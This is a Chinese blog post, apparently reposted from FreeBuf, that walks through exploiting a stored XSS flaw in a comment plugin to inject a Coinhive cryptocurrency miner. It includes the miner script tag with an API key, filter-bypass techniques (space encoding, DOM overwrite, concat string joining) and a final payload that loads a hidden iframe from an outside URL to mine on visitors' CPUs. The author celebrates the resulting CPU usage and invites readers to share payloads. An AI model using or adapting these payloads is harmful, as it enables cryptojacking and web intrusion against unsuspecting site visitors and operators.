一个XSS挖矿马的曲折历程 – 作者:奶茶小仙女儿

声明:

本文中所涉及的目标系统均为局域网搭建的测试环境,如IP或URL有雷同纯属巧合。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

复现

首先复现一下这个漏洞,现在输入框内插入XSS代码:

Image

Burp抓包:

Image

发现前台已经将XSS过滤,修改数据包:

Image放行数据包后,刷新当前页面:

Image存储型XSS一枚,但是上面都不是重点

挖矿

既然有这么好的机会,我们这么可以不试试挖矿呢?

首先需要一个门罗币账户(不赘述)

其次去coinhive注册一个账户(不赘述)

APIkey:3CZb3wTC2wAsN0kWehZEi8Tclp38uFBo

获取JS运行脚本 

<script src=https://coinhive.com/lib/coinhive.min.js></script>

<script>

var miner = new CoinHive.Anonymous('3CZb3wTC2wAsN0kWehZEi8Tclp38uFBo', {throttle: 0.5});

miner.start();

</script>

本以为直接将脚本插入即可,结果插入之后直接返回400错误:

Image根据测试可以发现,这是因为没有将空格编码为+所导致的。

Image

从返回的数据包中,可以看到我们接收到的数据正是我们想要。

但是进入页面查看一下,妈卖批为啥不执行。。。。。。。

Image

通过审查元素发现,原来是这个评论插件为自动为URL地址加上A标签。现在只有想办法绕过一下。

测试了N种情况,发现这个URL地址没有办法绕过,只能想办法拼接URL。但是现在URL并不在script内部,无法使用注释或函数拼接。

那我们不妨尝试一下DOM,先选一个id吧,直接覆盖。

Image

就选这个吧,这个好看~ 现在控制台尝试一下:

Image这里使用+对URL进行拼接,查看一下源码:

Image开心哈哈哈哈,现在效果达到,但是特么的为什么没有运行呢?????

Image大概就是这么个意思,那好吧,那就换种方法,使用iframe加载总可以了吧。

Image这次返回的结果是正确的,但是我们刚刚用来拼接字符串的+已经让它给变成空格了。

Image

因此,我们换种方法来拼接字符串,使用concat函数

最终Payload如下:

<script>

document.getElementById("toast").innerHTML="<iframe+src=http".concat("s://url.rul/YouUrl+style='display:").concat("none;'></iframe>")

</script>

查看效果:

Image查看DOM插入的iframe:

Image看到CPU利用率我就开心哈哈哈哈:

Image总结

遇到XSS就是各种绕吧,如果你有什么更好的方法,可以在下方留下你的payload。

另外:听说dashboard不干了?

Image这以后怎么玩???

来源:freebuf.com 2019-03-07 08:50:19 by: 奶茶小仙女儿

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论